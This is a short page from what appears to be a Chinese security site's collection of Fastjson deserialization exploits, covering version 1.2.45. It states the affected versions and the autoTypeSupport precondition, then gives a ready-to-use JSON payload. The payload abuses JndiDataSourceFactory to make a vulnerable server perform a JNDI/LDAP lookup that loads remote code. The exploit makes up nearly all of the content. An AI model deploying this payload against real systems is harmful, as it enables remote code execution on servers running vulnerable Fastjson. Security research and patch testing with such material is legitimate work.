menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Fastjson各版本反序列化EXP chevron_right 1.2.45.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    1.2.45.md
    275 B / 2021-07-12 19:46:00
        影响版本:  
    - fastjson<=1.2.45
    
    前提:
    autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
    
    exp:
    ```
    {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}
    ```
    
    
    
    
    links
    file_download